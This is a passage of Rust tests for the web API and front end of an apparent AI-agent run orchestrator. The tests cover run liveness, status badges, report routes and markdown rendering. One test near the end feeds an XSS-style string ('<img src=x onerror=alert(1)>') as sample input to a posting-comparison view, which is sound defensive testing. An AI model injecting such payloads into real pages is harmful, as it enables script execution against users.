20358 observed.get(field).is_none(),
20359 "progress must not expose control evidence: {field}"
20360 );
20361 }
20362 }
20363
20364 #[tokio::test]
20371 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
20372 let f = Fixture::start().await;
20373 let id = "20260922-090000-cccc";
20374 let mut state = RunState::new(
20375 PathBuf::from("/repo/magi"),
20376 "main".to_owned(),
20377 "0123456789abcdef".to_owned(),
20378 "Review only".to_owned(),
20379 Config::default(),
20380 );
20381 state.id = id.to_owned();
20382 state.status = RunStatus::Reviewing;
20383 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
20384 state.driver_pid = Some(std::process::id());
20390 state.driver_started_at = Some(
20391 crate::proc::process_started_at(std::process::id())
20392 .expect("this test process's own start time must be queryable"),
20393 );
20394 let dir = f.runs().join(id);
20395 std::fs::create_dir_all(&dir).expect("run dir");
20396 std::fs::write(
20397 dir.join("run.json"),
20398 serde_json::to_string_pretty(&state).expect("serialize run"),
20399 )
20400 .expect("write run.json");
20401
20402 let detail = f.get(&format!("/api/runs/{id}")).await.json();
20403 assert_eq!(detail["live"], "live", "{detail}");
20404 }
20405
20406 #[tokio::test]
20412 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
20413 let f = Fixture::start().await;
20414 let id = "20260922-090100-dddd";
20415 let mut state = RunState::new(
20416 PathBuf::from("/repo/magi"),
20417 "main".to_owned(),
20418 "0123456789abcdef".to_owned(),
20419 "Review only".to_owned(),
20420 Config::default(),
20421 );
20422 state.id = id.to_owned();
20423 state.status = RunStatus::Reviewing;
20424 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
20425 state.driver_pid = Some(std::process::id());
20430 state.driver_started_at = Some("1".to_owned());
20431 let dir = f.runs().join(id);
20432 std::fs::create_dir_all(&dir).expect("run dir");
20433 std::fs::write(
20434 dir.join("run.json"),
20435 serde_json::to_string_pretty(&state).expect("serialize run"),
20436 )
20437 .expect("write run.json");
20438
20439 let detail = f.get(&format!("/api/runs/{id}")).await.json();
20440 assert_eq!(detail["live"], "dead", "{detail}");
20441 }
20442
20443 #[test]
20447 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
20448 let mk = |id: &str, pid: Option<u32>| {
20449 let mut s = RunState::new(
20450 PathBuf::from("/repo/magi"),
20451 "main".to_owned(),
20452 "0123456789abcdef".to_owned(),
20453 "Add a web UI".to_owned(),
20454 Config::default(),
20455 );
20456 s.id = id.to_owned();
20457 s.driver_pid = pid;
20458 s.driver_started_at = Some("1790000000".to_owned());
20459 s
20460 };
20461 let states = vec![
20462 mk("20260902-140502-aaaa", Some(77)),
20463 mk("20260902-140502-bbbb", Some(77)),
20464 mk("20260902-140502-cccc", Some(77)),
20465 mk("20260902-140502-dddd", None),
20466 ];
20467 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
20468 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
20469 let sup: HashMap<String, String> = [(
20470 "20260902-140502-aaaa".to_owned(),
20471 "20260902-140502-cccc".to_owned(),
20472 )]
20473 .into();
20474
20475 let status_calls = std::cell::Cell::new(0);
20476 let identity_calls = std::cell::Cell::new(0);
20477 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
20478 |_| {
20479 status_calls.set(status_calls.get() + 1);
20480 Some(true)
20481 },
20482 |_| {
20483 identity_calls.set(identity_calls.get() + 1);
20484 Some("1790000000".to_owned())
20485 },
20486 ));
20487 let rows = summarize(
20488 states,
20489 &open,
20490 &claimed,
20491 &sup,
20492 |p| probe.borrow_mut().status(p),
20493 |p| probe.borrow_mut().started_at(p),
20494 );
20495
20496 assert_eq!(status_calls.get(), 1, "one pid, one status query");
20497 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
20498 assert_eq!(rows.len(), 4);
20499 assert!(!rows[0].waiting && rows[1].waiting);
20500 assert_eq!(rows[0].live, crate::run::Liveness::Live);
20501 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
20502 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
20503 assert_eq!(rows[1].superseded_by, None);
20504 }
20505
20506 #[test]
20507 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
20508 let mut state = RunState::new(
20509 PathBuf::from("/repo/magi"),
20510 "main".to_owned(),
20511 "0123456789abcdef".to_owned(),
20512 "Review only".to_owned(),
20513 Config::default(),
20514 );
20515 state.id = "20260922-090200-dead".to_owned();
20516 state.status = RunStatus::Reviewing;
20517 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
20518 .expect("serialize list row");
20519 assert_eq!(row["status"], "reviewing");
20520 assert_eq!(row["display_status"], "stale");
20521 assert_eq!(row["live"], "dead", "{row}");
20522 assert!(!row["done"].as_bool().unwrap());
20523 }
20524
20525 #[test]
20526 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
20527 use crate::run::Liveness::{Dead, Live, Unknown};
20528 let mut state = RunState::new(
20529 PathBuf::from("/repo/magi"),
20530 "main".to_owned(),
20531 "abc".to_owned(),
20532 "Review only".to_owned(),
20533 Config::default(),
20534 );
20535 for (status, parked, node, waiting, live, expected) in [
20536 (
20537 RunStatus::Judging,
20538 true,
20539 "github-text",
20540 false,
20541 Dead,
20542 "parked",
20543 ),
20544 (RunStatus::Judging, false, "park", false, Dead, "stale"),
20545 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
20546 (
20547 RunStatus::Judging,
20548 true,
20549 "github-text",
20550 true,
20551 Dead,
20552 "waiting",
20553 ),
20554 (
20555 RunStatus::Judging,
20556 false,
20557 "github-text",
20558 true,
20559 Dead,
20560 "waiting",
20561 ),
20562 (
20563 RunStatus::Judging,
20564 false,
20565 "github-text",
20566 false,
20567 Dead,
20568 "stale",
20569 ),
20570 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
20571 (RunStatus::Judging, true, "park", false, Live, "judging"),
20572 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
20573 (RunStatus::Merged, true, "park", false, Dead, "merged"),
20574 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
20575 (
20576 RunStatus::Blocked,
20577 true,
20578 "github-text",
20579 true,
20580 Dead,
20581 "waiting",
20582 ),
20583 ] {
20584 state.status = status;
20585 state.parked = parked;
20586 state.events.clear();
20587 state.event(
20588 "park",
20589 "an earlier park does not determine the latest state",
20590 );
20591 state.event(node, "message is not used for classification");
20592 let summary = RunSummary::of(&state, waiting, live);
20593 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
20594 assert_eq!(
20595 summary.display_status, expected,
20596 "{status:?}/{node}/{live:?}"
20597 );
20598 assert_eq!(detail.display_status, summary.display_status);
20599 assert_eq!(detail.waiting, summary.waiting);
20600 }
20601 state.status = RunStatus::Judging;
20602 state.parked = false;
20603 state.events.clear();
20604 assert_eq!(run_display_status(&state, false, Dead), "stale");
20605 }
20606
20607 #[test]
20608 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
20609 use crate::run::Liveness::{Dead, Live, Unknown};
20610 let mut state = RunState::new(
20611 PathBuf::from("/repo/magi"),
20612 "main".to_owned(),
20613 "abc".to_owned(),
20614 "Badge".to_owned(),
20615 Config::default(),
20616 );
20617 for (status, waiting, live, superseded, expected) in [
20618 (RunStatus::Gating, false, Dead, false, "stale"),
20619 (RunStatus::Gating, false, Dead, true, "superseded"),
20620 (RunStatus::Gating, false, Unknown, true, "superseded"),
20621 (RunStatus::Gating, true, Dead, true, "superseded"),
20622 (RunStatus::Gating, true, Dead, false, "waiting"),
20623 (RunStatus::Gating, false, Unknown, false, "gating"),
20624 (RunStatus::Gating, false, Live, true, "gating"),
20625 (RunStatus::Gating, true, Live, true, "waiting"),
20626 (RunStatus::Merged, false, Dead, true, "merged"),
20627 (RunStatus::Blocked, false, Dead, true, "blocked"),
20628 ] {
20629 state.status = status;
20630 let display = run_display_status(&state, waiting, live);
20631 assert_eq!(
20632 run_badge_status(&state, &display, live, superseded),
20633 expected,
20634 "{status:?}/{live:?}/superseded={superseded}"
20635 );
20636 }
20637 }
20638
20639 #[test]
20640 fn summarize_and_detail_expose_badge_status() {
20641 use crate::run::Liveness::Dead;
20642 let mut state = RunState::new(
20643 PathBuf::from("/repo/magi"),
20644 "main".to_owned(),
20645 "abc".to_owned(),
20646 "Badge".to_owned(),
20647 Config::default(),
20648 );
20649 state.status = RunStatus::Gating;
20650 let none = HashSet::new();
20651 let id = state.id.clone();
20652 let mut by = HashMap::new();
20653 let rows = summarize(
20654 [state.clone()],
20655 &none,
20656 &none,
20657 &by,
20658 |_| Some(false),
20659 |_| None,
20660 );
20661 assert_eq!(rows[0].badge_status, rows[0].display_status);
20663 by.insert(id, "20260901-000000-913b".to_owned());
20664 let detail = RunDetailView::of(
20665 state.clone(),
20666 false,
20667 Dead,
20668 Some("913b".to_owned()),
20669 None,
20670 None,
20671 );
20672 assert_eq!(detail.badge_status, "superseded");
20673 let json = serde_json::to_value(&detail).unwrap();
20674 assert_eq!(json["badge_status"], "superseded");
20675 let detail = RunDetailView::of(state, false, Dead, None, None, None);
20676 assert_eq!(detail.badge_status, "stale");
20677 }
20678
20679 #[tokio::test]
20680 async fn run_display_status_routes_share_the_open_question_store() {
20681 let f = Fixture::start().await;
20682 let id = "20260922-090200-abcd";
20683 write_run(&f.runs(), id, RunStatus::Judging);
20684 let mut state = read_run(&f.runs(), id).unwrap();
20685 state.parked = true;
20686 state.driver_exited = true;
20687 state.event("github-text", "waiting for the owner");
20688 state.save_under(f.home.path()).unwrap();
20689 let mut task = Task::new(
20690 "resumed task".to_owned(),
20691 "do it".to_owned(),
20692 PathBuf::from("/repo"),
20693 Source::Human,
20694 );
20695 task.runs = vec![id.to_owned(), id.to_owned()];
20696 f.queue().put(&mut task).unwrap();
20697 let store = f.questions();
20698 let mut q = Question::new(
20699 id.to_owned(),
20700 "github-text".to_owned(),
20701 "owner".to_owned(),
20702 "Approve the text?".to_owned(),
20703 String::new(),
20704 Vec::new(),
20705 );
20706 store.put(&mut q).unwrap();
20707 for expected in ["waiting", "parked"] {
20708 let list = f.get("/api/runs").await.json();
20709 let detail = f.get(&format!("/api/runs/{id}")).await.json();
20710 assert_eq!(list[0]["display_status"], expected);
20711 assert_eq!(detail["display_status"], expected);
20712 assert_eq!(detail["waiting"], list[0]["waiting"]);
20713 assert_eq!(list[0]["badge_status"], expected);
20714 assert_eq!(detail["badge_status"], expected);
20715 assert!(list[0]["superseded_by"].is_null());
20716 assert!(detail["superseded_by"].is_null());
20717 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
20718 let history = task_detail["history"].as_array().unwrap();
20719 assert_eq!(history.len(), 2);
20720 assert!(history[0]["badge"].is_null());
20721 assert_eq!(history[1]["badge"], expected);
20722 q.status = ask::QuestionStatus::Answered;
20723 store.put(&mut q).unwrap();
20724 }
20725 }
20726
20727 #[tokio::test]
20728 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
20729 let f = Fixture::start().await;
20730 let id = "20260922-090200-abcd";
20731 write_run(&f.runs(), id, RunStatus::Judging);
20732 let mut state = read_run(&f.runs(), id).unwrap();
20733 state.parked = true;
20734 state.driver_exited = true;
20735 state.event("park", "stopped at a node boundary");
20736 state.save_under(f.home.path()).unwrap();
20737
20738 for expected in ["parked", "stale"] {
20739 let list = f.get("/api/runs").await.json();
20740 let detail = f.get(&format!("/api/runs/{id}")).await.json();
20741 assert_eq!(list[0]["live"], "dead");
20742 assert_eq!(list[0]["display_status"], expected);
20743 assert_eq!(detail["display_status"], expected);
20744 state.parked = false;
20747 state.save_under(f.home.path()).unwrap();
20748 }
20749 }
20750
20751 #[tokio::test]
20752 async fn the_run_list_is_newest_first_and_honours_a_limit() {
20753 let f = Fixture::start().await;
20754 for id in [
20755 "20260902-140501-aaaa",
20756 "20260902-140502-bbbb",
20757 "20260902-140503-cccc",
20758 ] {
20759 write_run(&f.runs(), id, RunStatus::Merged);
20760 }
20761
20762 let all = f.get("/api/runs").await.json();
20763 let capped = f.get("/api/runs?limit=2").await.json();
20764
20765 assert_eq!(all[0]["id"], "20260902-140503-cccc");
20766 assert_eq!(all.as_array().map(Vec::len), Some(3));
20767 assert_eq!(capped.as_array().map(Vec::len), Some(2));
20768 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
20769 }
20770
20771 #[tokio::test]
20772 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
20773 let f = Fixture::start().await;
20774 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
20775
20776 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
20777
20778 assert_eq!(res.status, 200);
20779 assert!(
20780 res.headers
20781 .contains("content-type: text/plain; charset=utf-8"),
20782 "a browser must render it, not download it: {}",
20783 res.headers
20784 );
20785 assert!(
20789 res.body.contains("20260902-140501-a1b2"),
20790 "the report is about the run that was asked for: {}",
20791 res.body
20792 );
20793 }
20794
20795 #[tokio::test]
20796 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
20797 crate::run::pin_test_home();
20799 let f = Fixture::start().await;
20800 let id = "20260902-140501-a1b2";
20801 write_run(&f.runs(), id, RunStatus::Stalled);
20802 let path = f.runs().join(id).join("run.json");
20805 let mut v: serde_json::Value =
20806 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20807 v["tally"] = serde_json::json!({
20808 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20809 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
20810 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
20811 "met_quorum": false, "rankings": 1
20812 });
20813 v["reviews"] = serde_json::json!([{
20814 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
20815 "e2e_deferred": true,
20816 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
20817 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
20818 ]}]
20819 }]);
20820 std::fs::write(&path, v.to_string()).unwrap();
20821 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
20822 std::fs::write(
20823 f.runs().join("20260902-140502-dead").join("run.json"),
20824 "{not json",
20825 )
20826 .unwrap();
20827
20828 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20829
20830 assert_eq!(res.status, 200, "{}", res.body);
20831 assert!(res.headers.contains("content-type: application/json"));
20832 let j = res.json();
20833 assert_eq!(j["schema"], 1);
20834 assert_eq!(j["header"]["id"], id);
20835 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
20836 let kinds: Vec<&str> = j["sections"]
20837 .as_array()
20838 .unwrap()
20839 .iter()
20840 .map(|s| s["kind"].as_str().unwrap())
20841 .collect();
20842 assert_eq!(kinds, ["candidates", "tally", "review"]);
20843 let tally = &j["sections"][1]["tally"];
20844 assert_eq!(
20845 (tally["decided"].clone(), tally["provisional"].clone()),
20846 (false.into(), true.into())
20847 );
20848 let round = &j["sections"][2]["rounds"][0];
20849 assert_eq!(round["e2e"]["state"], "deferred");
20850 assert_eq!(round["findings"][0]["severity"], "major");
20851 assert_eq!(round["findings"][0]["blocking"], true);
20852 assert_eq!(round["findings"][0]["state"], "open");
20853
20854 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
20856
20857 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
20859 assert_ne!(bad.status, 200, "{}", bad.body);
20860 assert_eq!(
20861 bad.status,
20862 f.get("/api/runs/20260902-140502-dead/report").await.status
20863 );
20864 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
20865 assert_eq!(
20866 f.get("/api/runs/20260902-999999-ffff/report.json")
20867 .await
20868 .status,
20869 404
20870 );
20871 }
20872
20873 #[tokio::test]
20874 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
20875 crate::run::pin_test_home();
20876 let f = Fixture::start().await;
20877 let id = "20260902-140503-delib";
20878 write_run(&f.runs(), id, RunStatus::Merged);
20879 let path = f.runs().join(id).join("run.json");
20880 let mut v: serde_json::Value =
20881 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20882 v["judgements"] = serde_json::json!([
20883 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
20884 ]);
20885 v["tally"] = serde_json::json!({
20886 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20887 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
20888 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
20889 "met_quorum": true, "rankings": 1
20890 });
20891 v["deliberation"] = serde_json::json!([
20892 {
20893 "round": 1,
20894 "turns": [
20895 {
20896 "judge": 1,
20897 "agent": "judge-1",
20898 "body": "I prefer candidate **A** because it has cleaner tests.",
20899 "tentative": "A"
20900 }
20901 ]
20902 },
20903 {
20904 "round": 2,
20905 "turns": [
20906 {
20907 "judge": 1,
20908 "agent": "judge-1",
20909 "body": "Still thinking, no choice yet.",
20910 "tentative": null
20911 }
20912 ]
20913 }
20914 ]);
20915 std::fs::write(&path, v.to_string()).unwrap();
20916
20917 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20918 assert_eq!(res.status, 200, "{}", res.body);
20919 let j = res.json();
20920 let judging = j["sections"]
20921 .as_array()
20922 .unwrap()
20923 .iter()
20924 .find(|s| s["kind"] == "judging")
20925 .expect("judging section exists");
20926
20927 let delib_lines = judging["deliberation"].as_array().unwrap();
20929 assert_eq!(delib_lines.len(), 2);
20930 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
20931 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
20932
20933 let rounds = judging["rounds"].as_array().unwrap();
20935 assert_eq!(rounds.len(), 2);
20936 let r1_t0 = &rounds[0]["turns"][0];
20937 assert_eq!(r1_t0["judge"], 1);
20938 assert_eq!(r1_t0["agent"], "judge-1");
20939 assert_eq!(r1_t0["tentative"], "A");
20940 assert_eq!(
20941 r1_t0["body"],
20942 "I prefer candidate **A** because it has cleaner tests."
20943 );
20944 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
20945
20946 let r2_t0 = &rounds[1]["turns"][0];
20947 assert_eq!(r2_t0["judge"], 1);
20948 assert_eq!(r2_t0["agent"], "judge-1");
20949 assert!(r2_t0["tentative"].is_null());
20950 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
20951 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
20952
20953 let id_empty = "20260902-140504-nodelib";
20955 write_run(&f.runs(), id_empty, RunStatus::Merged);
20956 let path_empty = f.runs().join(id_empty).join("run.json");
20957 let mut v_empty: serde_json::Value =
20958 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
20959 v_empty["judgements"] = serde_json::json!([
20960 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
20961 ]);
20962 v_empty["deliberation"] = serde_json::json!([]);
20963 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
20964
20965 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
20966 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
20967 let j_empty = res_empty.json();
20968 let judging_empty = j_empty["sections"]
20969 .as_array()
20970 .unwrap()
20971 .iter()
20972 .find(|s| s["kind"] == "judging")
20973 .expect("judging section exists");
20974 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
20975 }
20976
20977 #[tokio::test]
20978 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
20979 let f = Fixture::start().await;
20980
20981 let html = f.get("/").await;
20982 let css = f.get("/app.css").await;
20983 let js = f.get("/app.js").await;
20984
20985 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
20986 assert!(
20987 html.headers
20988 .contains("content-type: text/html; charset=utf-8")
20989 );
20990 assert!(css.headers.contains("content-type: text/css"));
20991 assert!(js.headers.contains("content-type: text/javascript"));
20992 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
20993 }
20994
20995 #[test]
20996 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
20997 let body = |name: &str| {
20998 let at = APP_JS
20999 .find(name)
21000 .unwrap_or_else(|| panic!("{name} missing"));
21001 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
21002 };
21003 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
21004 let note = body("function landRoundNote");
21005 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
21006 assert!(note.contains("Land round ${round}"));
21007 let land = body("function renderLand");
21008 let note_at = land
21009 .find("landRoundNote(pr)")
21010 .expect("renderLand uses the note");
21011 assert!(
21012 note_at
21013 < land
21014 .find("roundRail(pr)")
21015 .expect("renderLand uses the rail")
21016 );
21017 }
21018
21019 #[test]
21020 fn the_runs_page_redesign_keeps_its_guards() {
21021 let body = |name: &str| {
21022 let at = APP_JS
21023 .find(name)
21024 .unwrap_or_else(|| panic!("{name} missing"));
21025 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
21026 };
21027 let land = body("function renderLand");
21029 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
21030 assert!(
21031 !land.contains("box.append("),
21032 "renderLand must use append()"
21033 );
21034 assert!(land.contains("append(box, ["));
21035 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
21037 assert!(
21038 body("function applyRoute")
21039 .contains("route.name !== state.route.name || route.id !== state.route.id")
21040 );
21041 assert!(!APP_JS.contains("adviseConvergeDiagram"));
21043 assert!(!INDEX_HTML.contains("advise-converge"));
21044 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
21045 assert!(APP_JS.contains("provisional"));
21046 for id in [
21047 "run-tab-overview",
21048 "run-tab-timeline",
21049 "run-tab-report",
21050 "run-report",
21051 "runs-scope",
21052 ] {
21053 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
21054 }
21055 assert!(!INDEX_HTML.contains("runs-tree"));
21056 assert!(!INDEX_HTML.contains("run-raw-panel"));
21057 assert!(APP_JS.contains("resume"));
21059 assert!(APP_JS.contains("unreadable"));
21061 }
21062
21063 #[test]
21064 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
21065 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
21066 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
21067 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
21068 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
21069 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
21070 assert!(APP_JS.contains("unreadable` : null"));
21072 }
21073
21074 #[test]
21075 fn blocked_run_detail_exposes_the_failed_gate_reason() {
21076 let mut state = RunState::new(
21077 "/repo".into(),
21078 "main".into(),
21079 "abc".into(),
21080 "task".into(),
21081 crate::config::Config::default(),
21082 );
21083 state.status = RunStatus::Blocked;
21084 state.gate_ran = true;
21085 state.gate.push(crate::run::CommandOutcome {
21086 command: "cargo make check".into(),
21087 code: Some(1),
21088 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
21089 duration_ms: 0,
21090 resource_blocked: false,
21091 });
21092 let view = RunDetailView::of(
21093 state,
21094 false,
21095 crate::run::Liveness::Unknown,
21096 None,
21097 None,
21098 None,
21099 );
21100 let value = serde_json::to_value(view).unwrap();
21101 assert_eq!(
21102 value["stop_reason"],
21103 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
21104 );
21105 }
21106
21107 #[test]
21108 fn the_run_detail_payload_says_whether_the_run_is_done() {
21109 for (status, done) in [
21111 (RunStatus::Superseded, true),
21112 (RunStatus::Blocked, true),
21113 (RunStatus::Landing, false),
21114 ] {
21115 let mut state = RunState::new(
21116 std::path::PathBuf::from("/repo"),
21117 "main".to_owned(),
21118 "abc".to_owned(),
21119 "x".to_owned(),
21120 crate::config::Config::default(),
21121 );
21122 state.status = status;
21123 let v = serde_json::to_value(RunDetailView::of(
21124 state,
21125 false,
21126 crate::run::Liveness::Unknown,
21127 None,
21128 None,
21129 None,
21130 ))
21131 .unwrap();
21132 assert_eq!(v["done"], done, "{status:?}");
21133 }
21134 }
21135
21136 fn has_strong(nodes: &[md::Node]) -> bool {
21138 serde_json::to_string(nodes).unwrap().contains("strong")
21139 }
21140
21141 #[test]
21142 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
21143 let mut state = RunState::new(
21144 std::path::PathBuf::from("/repo"),
21145 "main".to_owned(),
21146 "abc".to_owned(),
21147 "x".to_owned(),
21148 crate::config::Config::default(),
21149 );
21150 let proposal = |approach: &str| {
21151 serde_json::json!({
21152 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
21153 })
21154 };
21155 state.advice = Some(
21156 serde_json::from_value(serde_json::json!({
21157 "records": [
21158 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
21159 "proposal": proposal("do **this**")},
21160 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
21161 ],
21162 "synthesis": "- one\n- **two**\n\n`code`",
21163 }))
21164 .unwrap(),
21165 );
21166 state.candidates = serde_json::from_value(serde_json::json!([
21167 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
21168 "summary": "did **it**"},
21169 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
21170 ]))
21171 .unwrap();
21172 state.reviews = serde_json::from_value(serde_json::json!([{
21175 "round": 1, "head": "h",
21176 "reviews": [{
21177 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
21178 "findings": [
21179 {"severity": "nit", "title": "t1", "detail": "plain nit"},
21180 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
21181 ],
21182 }],
21183 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
21184 "fix": {"agent": "a", "notes": "fixed **it**",
21185 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
21186 }, {"round": 2, "head": "h2", "reviews": []}]))
21187 .unwrap();
21188
21189 let v = serde_json::to_value(RunDetailView::of(
21190 state,
21191 false,
21192 crate::run::Liveness::Unknown,
21193 None,
21194 None,
21195 None,
21196 ))
21197 .unwrap();
21198
21199 let strong = |p: &str| {
21200 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
21201 assert!(n.to_string().contains("strong"), "{p}: {n}");
21202 };
21203 strong("/advice_md/synthesis");
21204 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
21205 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
21206 strong("/advice_md/approaches/0");
21207 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
21208 strong("/candidate_summaries_md/0");
21209 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
21210 strong("/reviews_md/0/reviewers/0/summary");
21211 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
21212 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
21213 assert!(f[1].to_string().contains("strong"));
21214 strong("/reviews_md/0/reconsideration/0");
21215 strong("/reviews_md/0/fix/notes");
21216 strong("/reviews_md/0/fix/rejected/0");
21217 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
21218 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
21219 assert_eq!(v["candidates"][0]["summary"], "did **it**");
21221 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
21222 }
21223
21224 #[test]
21225 fn a_run_without_advice_has_no_advice_md() {
21226 let state = RunState::new(
21227 std::path::PathBuf::from("/repo"),
21228 "main".to_owned(),
21229 "abc".to_owned(),
21230 "x".to_owned(),
21231 crate::config::Config::default(),
21232 );
21233 let p = run_prose_md(&state);
21234 assert!(p.advice_md.is_none());
21235 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
21236 }
21237
21238 #[test]
21239 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
21240 let store = ask::Questions::at(PathBuf::from("unused"));
21241 let gt = crate::github_text::Withheld {
21242 title: false,
21243 body: true,
21244 categories: vec!["sensitive-data".into()],
21245 };
21246 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
21247 let (detail, comparison) =
21248 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
21249 let mut q = Question::new(
21250 "r".into(),
21251 "github-text".into(),
21252 "posting-gate".into(),
21253 "s".into(),
21254 detail,
21255 Vec::new(),
21256 );
21257 assert!(
21258 QuestionView::of(q.clone(), &store, None)
21259 .posting_view
21260 .is_none()
21261 );
21262 q.posting_comparison = Some(comparison);
21263 let view = QuestionView::of(q.clone(), &store, None);
21264 let field = &view.posting_view.unwrap().fields[0];
21265 assert_eq!(
21266 field
21267 .original
21268 .iter()
21269 .map(|f| f.text.as_str())
21270 .collect::<String>(),
21271 body
21272 );
21273 assert!(field.original[0].text.starts_with("<img"));
21274 let original_question: Question =
21275 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
21276 assert_eq!(original_question, q);
21277 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
21278 .original
21279 .start = 1;
21280 assert!(
21281 QuestionView::of(q.clone(), &store, None)
21282 .posting_view
21283 .is_none()
21284 );
21285 q.posting_comparison = original_question.posting_comparison;
21286 q.detail.push_str("extra context");
21287 assert!(
21288 QuestionView::of(q.clone(), &store, None)
21289 .posting_view
21290 .is_some()
21291 );
21292 q.detail.insert(0, 'x');
